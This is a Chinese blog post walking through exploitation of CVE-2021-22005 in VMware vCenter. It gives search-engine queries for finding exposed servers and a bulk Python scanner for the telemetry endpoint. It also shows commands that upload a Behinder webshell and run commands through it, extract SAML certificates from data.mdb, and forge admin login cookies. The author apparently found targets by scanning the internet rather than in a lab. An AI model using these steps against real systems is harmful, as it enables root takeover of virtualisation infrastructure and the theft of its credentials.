前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-22005-VMware vCenter漏洞学习

CVE-2021-22005-VMware vCenter漏洞学习

作者头像
乌鸦安全
发布2022-12-19 15:55:57
1.9K0
发布2022-12-19 15:55:57
举报
文章被收录于专栏:乌鸦安全

✎ 阅读须知

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

更新时间:2022.09.11

本文首发乌鸦安全知识星球

说明

参考文档:

代码语言:javascript
复制
https://mp.weixin.qq.com/s/0gg5TDEtL3lCb9pOnm42gg

1. VMware vCenter漏洞介绍

Vcenter一般指VMware vCenter Server,其提供了一个可伸缩、可扩展的平台,为虚拟化管理奠定了基础,可集中管理VMware vSphere环境,与其他管理平台相比,极大地提高了IT管理员对虚拟环境的控制,Vcenter可以使管理员从一个位置深入了解虚拟基础架构的集群、主机、虚拟机、存储、客户操作系统和其他关键组件等所有信息。

vCenter ServerESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。

2. 漏洞版本识别

代码语言:javascript
复制
/sdk/vimServiceVersions.xml

3. 搜索语法

3.1 fofa

代码语言:javascript
复制
app="vmware-vCenter"
或者 title="+ ID_VC_Welcome +"


" ID_VC_Welcome +" && country="JP"

3.2 shodan

代码语言:javascript
复制
http.title:"+ ID_VC_Welcome +"

3.3 Quake

代码语言:javascript
复制
app:"VMware-vCenter"

4. CVE-2021-22005漏洞复现

该漏洞获取的shell默认为root权限,可以直接读取mdb文件。

4.1 影响版本

代码语言:javascript
复制
VMware vCenter Server 7.0
VMware vCenter Server 6.7
注:CVE-2021-22005会影响所有默认配置的 vCenter Server 6.7 和 7.0 部署,不会影响 vCenter Server 6.5。其它18个漏洞的影响范围请参见VMware官方公告。
来源:https://blog.csdn.net/qq_44159028/article/details/120551527

4.2 漏洞描述

攻击者可通过VMware vCenter Server 443端口上传恶意文件,在vCenter Server上执行任意代码。

4.3 漏洞检测

我们可以针对/analytics/telemetry/ph/api/level 端点执行更相关的 cURL 请求来识别你的服务器是否受影响。

代码语言:javascript
复制
curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"

•如果服务器以 200/OK 和响应正文中除“OFF”以外的任何内容(例如“FULL”)进行响应,则它很容易受到攻击。 •如果它以 200/OK 和“OFF”的正文内容响应,则它很可能不易受到攻击,并且也未修补且未应用任何变通方法。 •如果它以 400/Bad Request 响应,则对其进行修补。此检查利用以下事实:修补的实例将根据已知/接受的收集器 ID 列表检查收集器 ID (_c)。 •如果它以 404 响应,则它要么不适用,要么已应用解决方法。该解决方法会禁用受影响的 API 端点。任何其他状态代码可能暗示不适用。 来源:https://cloud.tencent.com/developer/article/1899771

在这里可以使用漏洞poc进行检测:

代码语言:javascript
复制
来源:https://blog.csdn.net/qq_44159028/article/details/120551527
代码语言:javascript
复制
#author: 小缘喵
import requests
from requests.packages import urllib3
urllib3.disable_warnings()
headers={
    'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
}
 
params = (
    ('_c', 'test'),
)
for i in open('22005.txt','r'):
    if 'https' in i:
        i = i.strip('\r\n')
        url = i + "/analytics/telemetry/ph/api/level"
        try:
            r = requests.get(url=url,headers=headers,params=params,verify=False,timeout=10)
            code = r.status_code
            if code == 200:
                text = r.text
                if text:
                    if "OFF" not in text:
                        print(f"\033[0;31m{url}\033[0m maybe vulnerable")
                        with open('vul.text','a',encoding='utf-8') as f:
                            f.write(i+"\r")
            else:
                print(f"{i} no vulnerable")
        except:
            pass
    else:
        pass

poc里面可以看到检测方法很简单,就是上面curl的变形,在这里对目标导出,批量检测下看看:

由于上面师傅的脚本是单线程的,比较慢,所以稍微修改为多线程的试试,最后发现,使用title="+ ID_VC_Welcome +"作为关键字,才可以抓到有效的靶机,而使用app:"VMware-vCenter"没有发现有效靶机:

当然,这个结果只能说明可能存在漏洞,不是一定存在:

最后整理一下结果。

4.4 漏洞利用

在这里有linux版本的exp试试:

代码语言:javascript
复制
[https://github.com/shmilylty/cve-2021-22005-exp](https://github.com/shmilylty/cve-2021-22005-exp)  

在这里上传自己的冰蝎木马上去,构造命令:

代码语言:javascript
复制
python3 exp.py  -t <target> -s <webshell>

实操:

代码语言:javascript
复制
root@ubuntu:~/vcenter/22005/cve-2021-22005-exp# python3 exp.py -s 4o4.jsp -t https://xxxx
[*] target: https://xxxxx
[*] webshell: 4o4.jsp
[*] creating agent
[*] uploading manifest
[!] webshell url: https://xxxx/idm/..;/md8t6e.jsp

image.png

代码语言:javascript
复制
https://xxxx/idm/..;/u6epa5.jsp?cmd=whoami

5. cookie伪造登录

在这里拿到shell之后,需要对其进行伪造登录,获取data.mdb,默认位置:

代码语言:javascript
复制
windows:C:/ProgramData/VMware/vCenterServer/data/vmdird/data.mdb
linux:/storage/db/vmware-vmdir/data.mdb

5.1 mdb数据获取

因为现在拿到的是root权限,直接将mdb下载到本地进行解析,也可以直接将脚本上传上去解析,两个方法的脚本略有不同:

5.1.1 将数据下载到本地(失败)

image.png

发现在这里文件下载不下来,那就使用另外一种方法吧。

5.1.2 上传靶机使用(成功)

代码语言:javascript
复制
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py`

这个脚本直接上传到靶机上去就可以用了:

代码语言:javascript
复制
 python3 vCenter_ExtraCertFromMdb.py /storage/db/vmware-vmdir/data.mdb

将当前的文件分别生成三个:

代码语言:javascript
复制
参考:[https://3gstudent.github.io/vSphere%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-vCenter-SAML-Certificates](https://3gstudent.github.io/vSphere%E5%BC%80%E5%8F%91%E6%8C%87%E5%8D%976-vCenter-SAML-Certificates)

脚本使用:

代码语言:javascript
复制
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py

注意,在这里使用hostname的时候,并不是当前的ip地址,而是当前启动之后跳转的域名信息:

5.2 cookie获取登录

访问:https://xxxxx

在此界面下,访问cookie,将以前的两个cookie都删除,只放生成的cookie

然后访问https://xxxxx/ui/,回车等待,等待一会,不管cookie等如何加载,等着就行:

6. 总结

在这个复现中,最坑的就是mdb文件无法下载,在这里我尝试过:

  • • 文件直接下载(失败)
  • • 将文件复制到tmp目录下,起pythonhttp服务,无法下载
  • • 将文件复制到ROOT目录下,重命名为txt文件,访问不到,无法下载
  • • 反弹shell后,各种操作,还是无法下载
  • • 。。。。。。

最后还是在靶机本地执行命令,获取了各种值之后,下载到本地(在这里找hostname废了好多时间),最后发现在vps上也可以执行成功。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-09-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 本文首发乌鸦安全知识星球
  • 说明
  • 1. VMware vCenter漏洞介绍
  • 2. 漏洞版本识别
  • 3. 搜索语法
    • 3.1 fofa
      • 3.2 shodan
        • 3.3 Quake
        • 4. CVE-2021-22005漏洞复现
          • 4.1 影响版本
            • 4.2 漏洞描述
              • 4.3 漏洞检测
                • 4.4 漏洞利用
                • 5. cookie伪造登录
                  • 5.1 mdb数据获取
                    • 5.1.1 将数据下载到本地(失败)
                    • 5.1.2 上传靶机使用(成功)
                  • 5.2 cookie获取登录
                  • 6. 总结
                  相关产品与服务
                  云服务器
                  云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档